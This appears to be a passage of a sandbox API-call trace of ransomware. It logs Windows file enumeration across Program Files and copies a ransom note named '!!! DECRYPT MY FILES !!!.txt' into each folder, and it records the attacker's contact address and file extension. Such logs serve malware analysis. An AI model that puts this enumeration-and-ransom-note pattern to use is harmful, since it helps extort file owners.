ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0116.345] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\oledbjvs.inc", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 1 [0116.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\oledbvbs.inc") returned 0x38 [0116.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.345] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.345] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.346] GetProcessHeap () returned 0x630000 [0116.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1448, Size=0x10) returned 0x6b1250 [0116.346] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0116.346] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\oledbvbs.inc", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned 1 [0116.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\sqloledb.dll") returned 0x38 [0116.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.346] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.346] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.346] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0116.346] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\sqloledb.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned 1 [0116.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\system\\ole db\\sqloledb.rll") returned 0x38 [0116.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.347] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.347] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.347] GetProcessHeap () returned 0x630000 [0116.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0x14) returned 0x6b0398 [0116.347] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0116.347] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\sqloledb.rll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned 1 [0116.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll") returned 0x37 [0116.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.347] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.347] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.347] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0116.348] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 1 [0116.348] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll") returned 0x37 [0116.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.348] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.348] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.348] GetProcessHeap () returned 0x630000 [0116.348] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x18) returned 0x6b0338 [0116.348] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.348] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0116.349] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0116.349] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\common files\\system\\directdb.dll", psz="C:\\Program Files\\Common Files\\System\\wab32.dll", len=0x2e | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Common Files\\System\\wab32.dll") returned 1 [0116.349] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\wab32.dll", cchLength=0x2e | out: lpsz="c:\\program files\\common files\\system\\wab32.dll") returned 0x2e [0116.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.349] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.349] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.349] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0116.349] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\common files\\system\\wab32.dll", psz="C:\\Program Files\\Common Files\\System\\wab32res.dll", len=0x31 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned 1 [0116.349] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\wab32res.dll", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\wab32res.dll") returned 0x31 [0116.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.350] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.350] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.350] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.350] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0116.350] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.350] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0116.350] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.350] SysReAllocStringLen (in: pbstr=0x6ebf660*=0x0, psz="C:\\Program Files\\desktop.ini", len=0x1c | out: pbstr=0x6ebf660*="C:\\Program Files\\desktop.ini") returned 1 [0116.350] CharLowerBuffW (in: lpsz="C:\\Program Files\\desktop.ini", cchLength=0x1c | out: lpsz="c:\\program files\\desktop.ini") returned 0x1c [0116.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.351] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.351] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe604, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0116.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe600, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0116.351] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf36c | out: lpFindFileData=0x6ebf36c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5500 [0116.351] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0116.351] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0116.354] GetProcessHeap () returned 0x630000 [0116.354] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0338, Size=0x1c) returned 0x6e93a0 [0116.354] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3be2b3f6, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3be2b3f6, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0116.354] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Program Files\\Internet Explorer\\", len=0x23 | out: pbstr=0x6ebf3a0*="C:\\Program Files\\Internet Explorer\\") returned 1 [0116.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0116.354] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.354] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.354] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3bec3e0e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3bec3e0e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0116.355] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Program Files\\Java\\", len=0x16 | out: pbstr=0x6ebf3a0*="C:\\Program Files\\Java\\") returned 1 [0116.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\", cchLength=0x16 | out: lpsz="c:\\program files\\java\\") returned 0x16 [0116.355] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0116.355] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0116.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3bec3e0e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3bec3e0e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x6c4, cFileName=".", cAlternateFileName="")) returned 0x6d53c0 [0116.355] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3bec3e0e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3bec3e0e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.355] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69616320, ftCreationTime.dwHighDateTime=0x1d5acf6, ftLastAccessTime.dwLowDateTime=0x51498c40, ftLastAccessTime.dwHighDateTime=0x1d55f4e, ftLastWriteTime.dwLowDateTime=0x51498c40, ftLastWriteTime.dwHighDateTime=0x1d55f4e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="classessurveylexmark.exe", cAlternateFileName="CLASSE~1.EXE")) returned 1 [0116.355] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Program Files\\Java\\classessurveylexmark.exe", len=0x2e | out: pbstr=0x6ebf398*="C:\\Program Files\\Java\\classessurveylexmark.exe") returned 1 [0116.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\classessurveylexmark.exe", cchLength=0x2e | out: lpsz="c:\\program files\\java\\classessurveylexmark.exe") returned 0x2e [0116.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.356] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.356] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0116.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0116.356] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa235ac5b, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d52c0 [0116.356] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0116.356] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0116.372] GetProcessHeap () returned 0x630000 [0116.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1340 [0116.372] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0116.372] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\", len=0x23 | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Java\\jre1.8.0_144\\") returned 1 [0116.373] CharLowerBuffW (in: lpsz="C:\\Program 